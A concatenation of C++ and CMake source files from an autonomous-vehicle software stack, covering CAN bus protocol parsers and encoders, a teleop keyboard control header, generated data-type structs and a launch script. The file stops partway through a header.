<file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(public_road_planner public_road_planner.cc public_road_planner.h) target_link_libraries(public_road_planner log pnc_point_proto /modules/common/status /modules/common/time /modules/common/util factory vehicle_state_provider /modules/map/hdmap planning_common planning_gflags /modules/planning/constraint_checker /modules/planning/math/curve1d:quartic_polynomial_curve1d /modules/planning/planner planning_proto /modules/planning/reference_line /modules/planning/reference_line:qp_spline_reference_line_smoother /modules/planning/tasks:task /modules/planning/tasks/deciders/path_decider /modules/planning/tasks/deciders/speed_decider /modules/planning/tasks/optimizers:path_optimizer /modules/planning/tasks/optimizers:speed_optimizer /modules/planning/tasks/optimizers/path_time_heuristic:path_time_heuristic_optimizer /external:gflags eigen) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_compile_options(-fPIC) add_subdirectory(fake) add_subdirectory(mdc) add_library(can_client_factory can_client_factory.cc can_client_factory.h) target_link_libraries(can_client_factory can_client canbus_common drivers_canbus_proto factory fake_can_client mdc_can_client ) add_library(can_client INTERFACE) target_link_libraries(can_client INTERFACE util canbus_common drivers_canbus_proto)<file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/sod_nm_0x440_440.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Sodnm0x440440::Sodnm0x440440() {} const int32_t Sodnm0x440440::ID = 0x440; void Sodnm0x440440::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_sod_nm_0x440_440()->set_sodnmlimphome(sodnmlimphome(bytes, length)); chassis->mutable_cx75()->mutable_sod_nm_0x440_440()->set_sodnmsleepind(sodnmsleepind(bytes, length)); chassis->mutable_cx75()->mutable_sod_nm_0x440_440()->set_sodnmsleepack(sodnmsleepack(bytes, length)); chassis->mutable_cx75()->mutable_sod_nm_0x440_440()->set_sodnmdestaddr(sodnmdestaddr(bytes, length)); chassis->mutable_cx75()->mutable_sod_nm_0x440_440()->set_sodnmalive(sodnmalive(bytes, length)); chassis->mutable_cx75()->mutable_sod_nm_0x440_440()->set_sodnmring(sodnmring(bytes, length)); } // config detail: {'name': 'sodnmlimphome', 'enum': {0: 'SODNMLIMPHOME_NOT_ACTIVE', 1: 'SODNMLIMPHOME_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 10, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_nm_0x440_440::SodnmlimphomeType Sodnm0x440440::sodnmlimphome(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(2, 1); Sod_nm_0x440_440::SodnmlimphomeType ret = static_cast<Sod_nm_0x440_440::SodnmlimphomeType>(x); return ret; } // config detail: {'name': 'sodnmsleepind', 'enum': {0: 'SODNMSLEEPIND_NOT_ACTIVE', 1: 'SODNMSLEEPIND_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 12, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_nm_0x440_440::SodnmsleepindType Sodnm0x440440::sodnmsleepind(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(4, 1); Sod_nm_0x440_440::SodnmsleepindType ret = static_cast<Sod_nm_0x440_440::SodnmsleepindType>(x); return ret; } // config detail: {'name': 'sodnmsleepack', 'enum': {0: 'SODNMSLEEPACK_NOT_ACTIVE', 1: 'SODNMSLEEPACK_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 13, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_nm_0x440_440::SodnmsleepackType Sodnm0x440440::sodnmsleepack(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(5, 1); Sod_nm_0x440_440::SodnmsleepackType ret = static_cast<Sod_nm_0x440_440::SodnmsleepackType>(x); return ret; } // config detail: {'name': 'sodnmdestaddr', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Sodnm0x440440::sodnmdestaddr(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'sodnmalive', 'enum': {0: 'SODNMALIVE_NOT_ACTIVE', 1: 'SODNMALIVE_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 8, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_nm_0x440_440::SodnmaliveType Sodnm0x440440::sodnmalive(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 1); Sod_nm_0x440_440::SodnmaliveType ret = static_cast<Sod_nm_0x440_440::SodnmaliveType>(x); return ret; } // config detail: {'name': 'sodnmring', 'enum': {0: 'SODNMRING_NOT_ACTIVE', 1: 'SODNMRING_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 9, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_nm_0x440_440::SodnmringType Sodnm0x440440::sodnmring(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(1, 1); Sod_nm_0x440_440::SodnmringType ret = static_cast<Sod_nm_0x440_440::SodnmringType>(x); return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>#ifndef MODULES_CANBUS_TOOLS_TELEOP_H_ #define MODULES_CANBUS_TOOLS_TELEOP_H_ #include <iostream> #include <memory> #include <stdio.h> #include <termios.h> #include <thread> #include "modules/common/adapters/adapter_manager.h" #include "modules/common/jmc_auto_app.h" #include "modules/common/macro.h" #include "modules/canbus/proto/chassis.pb.h" #include "modules/control/proto/control_cmd.pb.h" const uint32_t KEYCODE_O = 0x4F; // '0' const uint32_t KEYCODE_UP1 = 0x57; // 'w' const uint32_t KEYCODE_UP2 = 0x77; // 'w' const uint32_t KEYCODE_DN1 = 0x53; // 'S' const uint32_t KEYCODE_DN2 = 0x73; // 's' const uint32_t KEYCODE_LF1 = 0x41; // 'A' const uint32_t KEYCODE_LF2 = 0x61; // 'a' const uint32_t KEYCODE_RT1 = 0x44; // 'D' const uint32_t KEYCODE_RT2 = 0x64; // 'd' const uint32_t KEYCODE_PKBK = 0x50; // hand brake or parking brake // set throttle, gear, and brake const uint32_t KEYCODE_SETT1 = 0x54; // 'T' const uint32_t KEYCODE_SETT2 = 0x74; // 't' const uint32_t KEYCODE_SETG1 = 0x47; // 'G' const uint32_t KEYCODE_SETG2 = 0x67; // 'g' const uint32_t KEYCODE_SETB1 = 0x42; // 'B' const uint32_t KEYCODE_SETB2 = 0x62; // 'b' const uint32_t KEYCODE_ZERO = 0x30; // '0' const uint32_t KEYCODE_SETQ1 = 0x51; // 'Q' const uint32_t KEYCODE_SETQ2 = 0x71; // 'q' // change action const uint32_t KEYCODE_MODE = 0x6D; // 'm' // emergency stop const uint32_t KEYCODE_ESTOP = 0x45; // 'E' // help const uint32_t KEYCODE_HELP = 0x68; // 'h' const uint32_t KEYCODE_HELP2 = 0x48; // 'H' /** * @namespace jmc_auto::canbus * @brief jmc_auto::canbus */ namespace jmc_auto { namespace teleop { /** * @class Canbus * * @brief canbus module main class. * It processes the control data to send protocol messages to can card. */ class Teleop : public jmc_auto::common::JmcAutoApp { public: /** * @brief obtain module name * @return module name */ void teleop() { ResetControlCommand(); } std::string Name() const override; /** * @brief module initialization function * @return initialization status */ jmc_auto::common::Status Init() override; /** * @brief module start function * @return start status */ jmc_auto::common::Status Start() override; /** * @brief module stop function */ void Stop() override; private: static void PrintKeycode() { system("clear"); printf("===================== KEYBOARD MAP ===================\n"); printf("HELP: [%c] |\n", KEYCODE_HELP); printf("Set Action : [%c]+Num\n", KEYCODE_MODE); printf(" 0 RESET ACTION\n"); printf(" 1 START ACTION\n"); printf("\n-----------------------------------------------------------\n"); printf("Set Gear: [%c]+Num\n", KEYCODE_SETG1); printf(" 0 GEAR_NEUTRAL\n"); printf(" 1 GEAR_DRIVE\n"); printf(" 2 GEAR_REVERSE\n"); printf(" 3 GEAR_PARKING\n"); printf(" 4 GEAR_LOW\n"); printf(" 5 GEAR_INVALID\n"); printf(" 6 GEAR_NONE\n"); printf("\n-----------------------------------------------------------\n"); printf("Throttle/Speed up: [%c] | Set Throttle: [%c]+Num\n", KEYCODE_UP1, KEYCODE_SETT1); printf("Brake/Speed down: [%c] | Set Brake: [%c]+Num\n", KEYCODE_DN1, KEYCODE_SETB1); printf("Steer LEFT: [%c] | Steer RIGHT: [%c]\n", KEYCODE_LF1, KEYCODE_RT1); printf("Parkinig Brake: [%c] | Emergency Stop [%c]\n", KEYCODE_PKBK, KEYCODE_ESTOP); printf("\n-----------------------------------------------------------\n"); printf("Exit: Ctrl + C, then press enter to normal terminal\n"); printf("===========================================================\n"); } void KeyboardLoopThreadFunc(); jmc_auto::canbus::Chassis::GearPosition GetGear(int32_t gear); void GetPadMessage(jmc_auto::control::PadMessage *pad_msg, int32_t int_action); double GetCommand(double val, double inc, double limit); void Send(); void ResetControlCommand(); void OnChassis(const jmc_auto::canbus::Chassis &chassis); void signal_handler(int32_t signal_num); std::unique_ptr<std::thread> keyboard_thread_; jmc_auto::control::ControlCommand control_command_; bool is_running_ = false; }; } // namespace teleop } // namespace jmc_auto #endif // MODULES_CANBUS_TOOLE_TELEOP_H_ <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_point2d_h #define impl_type_point2d_h #include "impl_type_double.h" struct Point2D { ::Double x; ::Double y; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(x); fun(y); } template<typename F> void enumerate(F& fun) const { fun(x); fun(y); } bool operator == (const ::Point2D& t) const { return (x == t.x) && (y == t.y); } }; #endif // impl_type_point2d_h <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/gw_mcu_output_0x225_225.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; Gwmcuoutput0x225225::Gwmcuoutput0x225225() {} const int32_t Gwmcuoutput0x225225::ID = 0x225; void Gwmcuoutput0x225225::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_teshun()->mutable_gw_mcu_output_0x225_225()->set_checksum_0x225(checksum_0x225(bytes, length)); chassis->mutable_teshun()->mutable_gw_mcu_output_0x225_225()->set_rolling_counter_0x225(rolling_counter_0x225(bytes, length)); chassis->mutable_teshun()->mutable_gw_mcu_output_0x225_225()->set_mcu_work_sts(mcu_work_sts(bytes, length)); chassis->mutable_teshun()->mutable_gw_mcu_output_0x225_225()->set_mcu_ctrmode_sts(mcu_ctrmode_sts(bytes, length)); chassis->mutable_teshun()->mutable_gw_mcu_output_0x225_225()->set_mcu_capacitor_sts(mcu_capacitor_sts(bytes, length)); chassis->mutable_teshun()->mutable_gw_mcu_output_0x225_225()->set_mcu_spd_meas(mcu_spd_meas(bytes, length)); chassis->mutable_teshun()->mutable_gw_mcu_output_0x225_225()->set_mcu_trq_meas(mcu_trq_meas(bytes, length)); } // config detail: {'name': 'checksum_0x225', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwmcuoutput0x225225::checksum_0x225(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'rolling_counter_0x225', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwmcuoutput0x225225::rolling_counter_0x225(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'mcu_work_sts', 'enum': {0: 'MCU_WORK_STS_CONSUM', 1: 'MCU_WORK_STS_GENERATE', 2: 'MCU_WORK_STS_OFF', 3: 'MCU_WORK_STS_READY', 4: 'MCU_WORK_STS_INVALID'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|4]', 'bit': 34, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mcu_output_0x225_225::Mcu_work_stsType Gwmcuoutput0x225225::mcu_work_sts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 3); Gw_mcu_output_0x225_225::Mcu_work_stsType ret = static_cast<Gw_mcu_output_0x225_225::Mcu_work_stsType>(x); return ret; } // config detail: {'name': 'mcu_ctrmode_sts', 'enum': {0: 'MCU_CTRMODE_STS_INITIALIZATION', 1: 'MCU_CTRMODE_STS_PRECHARGE', 2: 'MCU_CTRMODE_STS_DISABLE', 3: 'MCU_CTRMODE_STS_STANDBY', 4: 'MCU_CTRMODE_STS_ANTISLIP', 5: 'MCU_CTRMODE_STS_ALOFFSETCAL', 7: 'MCU_CTRMODE_STS_NCTLINT', 8: 'MCU_CTRMODE_STS_TRQCT', 9: 'MCU_CTRMODE_STS_ASCACTIVE', 11: 'MCU_CTRMODE_STS_AFTERRUN', 12: 'MCU_CTRMODE_STS_PREFAILURE', 13: 'MCU_CTRMODE_STS_FAILURE', 14: 'MCU_CTRMODE_STS_DISCHARGE'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|4]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mcu_output_0x225_225::Mcu_ctrmode_stsType Gwmcuoutput0x225225::mcu_ctrmode_sts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 4); Gw_mcu_output_0x225_225::Mcu_ctrmode_stsType ret = static_cast<Gw_mcu_output_0x225_225::Mcu_ctrmode_stsType>(x); return ret; } // config detail: {'name': 'mcu_capacitor_sts', 'enum': {0: 'MCU_CAPACITOR_STS_FORBIDCHARGE', 1: 'MCU_CAPACITOR_STS_WAITCHARGE', 2: 'MCU_CAPACITOR_STS_ALLOWDISCHARGE', 3: 'MCU_CAPACITOR_STS_FORBIDDISCHARGE', 4: 'MCU_CAPACITOR_STS_ERRORDISCHARGE'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|4]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mcu_output_0x225_225::Mcu_capacitor_stsType Gwmcuoutput0x225225::mcu_capacitor_sts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(5, 3); Gw_mcu_output_0x225_225::Mcu_capacitor_stsType ret = static_cast<Gw_mcu_output_0x225_225::Mcu_capacitor_stsType>(x); return ret; } // config detail: {'name': 'mcu_spd_meas', 'offset': -15000.0, 'precision': 1.0, 'len': 15, 'is_signed_var': False, 'physical_range': '[-15000|15000]', 'bit': 23, 'type': 'int', 'order': 'motorola', 'physical_unit': 'rpm'} int Gwmcuoutput0x225225::mcu_spd_meas(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 3); int32_t t = t1.get_byte(1, 7); x <<= 7; x |= t; int ret = x + -15000.000000; return ret; } // config detail: {'name': 'mcu_trq_meas', 'offset': -2000.0, 'precision': 1.0, 'len': 12, 'is_signed_var': False, 'physical_range': '[-2000|2000]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': 'Nm'} int Gwmcuoutput0x225225::mcu_trq_meas(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(4, 4); x <<= 4; x |= t; int ret = x + -2000.000000; return ret; } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_int32_h #define impl_type_int32_h #include "base_type_std_int32_t.h" typedef std_int32_t Int32; #endif // impl_type_int32_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_vehicleparam_h #define impl_type_vehicleparam_h #include "impl_type_double.h" #include "impl_type_float.h" struct VehicleParam { ::Double front_edge_to_center; ::Double back_edge_to_center; ::Double left_edge_to_center; ::Double right_edge_to_center; ::Double length; ::Double width; ::Double height; ::Double min_turn_radius; ::Double max_acceleration; ::Double max_deceleration; ::Double max_steer_angle; ::Double max_steer_angle_rate; ::Double min_steer_angle_rate; ::Double steer_ratio; ::Double wheel_base; ::Double wheel_rolling_radius; ::Float max_abs_speed_when_stopped; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(front_edge_to_center); fun(back_edge_to_center); fun(left_edge_to_center); fun(right_edge_to_center); fun(length); fun(width); fun(height); fun(min_turn_radius); fun(max_acceleration); fun(max_deceleration); fun(max_steer_angle); fun(max_steer_angle_rate); fun(min_steer_angle_rate); fun(steer_ratio); fun(wheel_base); fun(wheel_rolling_radius); fun(max_abs_speed_when_stopped); } template<typename F> void enumerate(F& fun) const { fun(front_edge_to_center); fun(back_edge_to_center); fun(left_edge_to_center); fun(right_edge_to_center); fun(length); fun(width); fun(height); fun(min_turn_radius); fun(max_acceleration); fun(max_deceleration); fun(max_steer_angle); fun(max_steer_angle_rate); fun(min_steer_angle_rate); fun(steer_ratio); fun(wheel_base); fun(wheel_rolling_radius); fun(max_abs_speed_when_stopped); } bool operator == (const ::VehicleParam& t) const { return (front_edge_to_center == t.front_edge_to_center) && (back_edge_to_center == t.back_edge_to_center) && (left_edge_to_center == t.left_edge_to_center) && (right_edge_to_center == t.right_edge_to_center) && (length == t.length) && (width == t.width) && (height == t.height) && (min_turn_radius == t.min_turn_radius) && (max_acceleration == t.max_acceleration) && (max_deceleration == t.max_deceleration) && (max_steer_angle == t.max_steer_angle) && (max_steer_angle_rate == t.max_steer_angle_rate) && (min_steer_angle_rate == t.min_steer_angle_rate) && (steer_ratio == t.steer_ratio) && (wheel_base == t.wheel_base) && (wheel_rolling_radius == t.wheel_rolling_radius) && (max_abs_speed_when_stopped == t.max_abs_speed_when_stopped); } }; #endif // impl_type_vehicleparam_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(speed_decider speed_decider.cc speed_decider.h) target_link_libraries(speed_decider vehicle_config_helper /modules/common/math /modules/common/status /modules/map/proto:map_proto frame path_decision planning_gflags reference_line_info planning_proto /modules/planning/tasks:task /modules/planning/tasks/utils:st_gap_estimator) <file_sep>##################################################### # File Name: control.sh # Author: Leo # mail: <EMAIL> # Created Time: 2021年03月23日 星期二 16时37分39秒 ##################################################### #!/bin/bash DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" cd "${DIR}/.." export CM_CONFIG_FILE_PATH=${DIR}/../modules/control/outputJson/ ./Debug/modules/control/control --flagfile=modules/control/conf/control.conf --log_dir=data/log/ <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/mrr_0x238_238.h" #include "modules/drivers/canbus/common/byte.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; const int32_t Mrr0x238238::ID = 0x238; // public Mrr0x238238::Mrr0x238238() { Reset(); } uint32_t Mrr0x238238::GetPeriod() const { // TODO modify every protocol's period manually static const uint32_t PERIOD = 20 * 1000; return PERIOD; } void Mrr0x238238::UpdateData(uint8_t* data) { set_p_acc_tgtaxlowercomftband(data, acc_tgtaxlowercomftband_); set_p_acc_tgtaxupperlim(data, acc_tgtaxupperlim_); set_p_acc_tgtaxlowerlim(data, acc_tgtaxlowerlim_); set_p_acc_tgtax(data, acc_tgtax_); set_p_rolling_counter_0x238(data, rolling_counter_0x238_); set_p_acc_tgtaxuppercomftband(data, acc_tgtaxuppercomftband_); set_p_checksum_0x238(data, checksum_0x238_); } void Mrr0x238238::Reset() { // TODO you should check this manually acc_tgtaxlowercomftband_ = 0.0; acc_tgtaxupperlim_ = 0.0; acc_tgtaxlowerlim_ = 0.0; acc_tgtax_ = 0.0; rolling_counter_0x238_ = 0; checksum_0x238_ = 0; acc_tgtaxuppercomftband_ = 0.0; } void Mrr0x238238::checksum_rolling() { // TODO you should check this manually //rolling_counter_0x238_++; //rolling_counter_0x238_=rolling_counter_0x238_<=15?rolling_counter_0x238_:0; //rolling_counter_0x238_ = ProtocolData::BoundedValue(0, 15, rolling_counter_0x238_); } Mrr0x238238* Mrr0x238238::set_acc_tgtaxlowercomftband( double acc_tgtaxlowercomftband) { acc_tgtaxlowercomftband_ = acc_tgtaxlowercomftband; return this; } // config detail: {'name': 'ACC_TgtAxLowerComftBand', 'offset': 0.0, 'precision': 0.05, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|3.2]', 'bit': 15, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s2'} void Mrr0x238238::set_p_acc_tgtaxlowercomftband(uint8_t* data, double acc_tgtaxlowercomftband) { acc_tgtaxlowercomftband = ProtocolData::BoundedValue(0.0, 3.2, acc_tgtaxlowercomftband); int x = acc_tgtaxlowercomftband / 0.050000; Byte to_set(data + 1); to_set.set_value(x, 0, 8); } Mrr0x238238* Mrr0x238238::set_acc_tgtaxupperlim( double acc_tgtaxupperlim) { acc_tgtaxupperlim_ = acc_tgtaxupperlim; return this; } // config detail: {'name': 'ACC_TgtAxUpperLim', 'offset': 0.0, 'precision': 0.1, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|12.7]', 'bit': 23, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s3'} void Mrr0x238238::set_p_acc_tgtaxupperlim(uint8_t* data, double acc_tgtaxupperlim) { acc_tgtaxupperlim = ProtocolData::BoundedValue(0.0, 12.7, acc_tgtaxupperlim); int x = acc_tgtaxupperlim / 0.100000; Byte to_set(data + 2); to_set.set_value(x, 0, 8); } Mrr0x238238* Mrr0x238238::set_acc_tgtaxlowerlim( double acc_tgtaxlowerlim) { acc_tgtaxlowerlim_ = acc_tgtaxlowerlim; return this; } // config detail: {'name': 'ACC_TgtAxLowerLim', 'offset': -12.7, 'precision': 0.1, 'len': 8, 'is_signed_var': False, 'physical_range': '[-12.7|0]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s3'} void Mrr0x238238::set_p_acc_tgtaxlowerlim(uint8_t* data, double acc_tgtaxlowerlim) { acc_tgtaxlowerlim = ProtocolData::BoundedValue(-12.7, 0.0, acc_tgtaxlowerlim); int x = (acc_tgtaxlowerlim - -12.700000) / 0.100000; Byte to_set(data + 3); to_set.set_value(x, 0, 8); } Mrr0x238238* Mrr0x238238::set_acc_tgtax( double acc_tgtax) { acc_tgtax_ = acc_tgtax; return this; } // config detail: {'name': 'ACC_TgtAx', 'offset': -5.0, 'precision': 0.05, 'len': 11, 'is_signed_var': False, 'physical_range': '[-5|7.75]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s2'} void Mrr0x238238::set_p_acc_tgtax(uint8_t* data, double acc_tgtax) { acc_tgtax = ProtocolData::BoundedValue(-5.0, 7.75, acc_tgtax); int x = (acc_tgtax - -5.000000) / 0.050000; uint8_t t = 0; t = x & 0x7; Byte to_set0(data + 6); to_set0.set_value(t, 5, 3); x >>= 3; t = x & 0xFF; Byte to_set1(data + 5); to_set1.set_value(t, 0, 8); } Mrr0x238238* Mrr0x238238::set_rolling_counter_0x238( int rolling_counter_0x238) { rolling_counter_0x238_ = rolling_counter_0x238; return this; } // config detail: {'name': 'Rolling_counter_0x238', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void Mrr0x238238::set_p_rolling_counter_0x238(uint8_t* data, int rolling_counter_0x238) { //rolling_counter_0x238_++; //rolling_counter_0x238_=rolling_counter_0x238_<=15?rolling_counter_0x238_:0; //rolling_counter_0x238_ = ProtocolData::BoundedValue(0, 15, rolling_counter_0x238_); //int x = rolling_counter_0x238_; //Byte to_set(data + 6); //to_set.set_value(x, 0, 4); } Mrr0x238238* Mrr0x238238::set_checksum_0x238( int checksum_0x238) { checksum_0x238_ = checksum_0x238; return this; } // config detail: {'name': 'Checksum_0x238', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void Mrr0x238238::set_p_checksum_0x238(uint8_t* data, int checksum_0x238) { //checksum_0x238 = (data[0]^data[1]^data[2]^data[3]^data[4]^data[5]^data[6]); //checksum_0x238 = ProtocolData::BoundedValue(0, 255, checksum_0x238); //int x = checksum_0x238; //Byte to_set(data + 7); //to_set.set_value(x, 0, 8); } Mrr0x238238* Mrr0x238238::set_acc_tgtaxuppercomftband( double acc_tgtaxuppercomftband) { acc_tgtaxuppercomftband_ = acc_tgtaxuppercomftband; return this; } // config detail: {'name': 'ACC_TgtAxUpperComftBand', 'offset': 0.0, 'precision': 0.05, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|3.2]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s2'} void Mrr0x238238::set_p_acc_tgtaxuppercomftband(uint8_t* data, double acc_tgtaxuppercomftband) { acc_tgtaxuppercomftband = ProtocolData::BoundedValue(0.0, 3.2, acc_tgtaxuppercomftband); int x = acc_tgtaxuppercomftband / 0.050000; Byte to_set(data + 0); to_set.set_value(x, 0, 8); } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_CX75_PROTOCOL_GW_NM_0X460_460_H_ #define MODULES_CANBUS_VEHICLE_CX75_PROTOCOL_GW_NM_0X460_460_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Gwnm0x460460 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Gwnm0x460460(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'GWNMLimphome', 'enum': {0: 'GWNMLIMPHOME_NOT_ACTIVE', 1: 'GWNMLIMPHOME_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 10, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_nm_0x460_460::GwnmlimphomeType gwnmlimphome(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'GWNMSleepInd', 'enum': {0: 'GWNMSLEEPIND_NOT_ACTIVE', 1: 'GWNMSLEEPIND_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 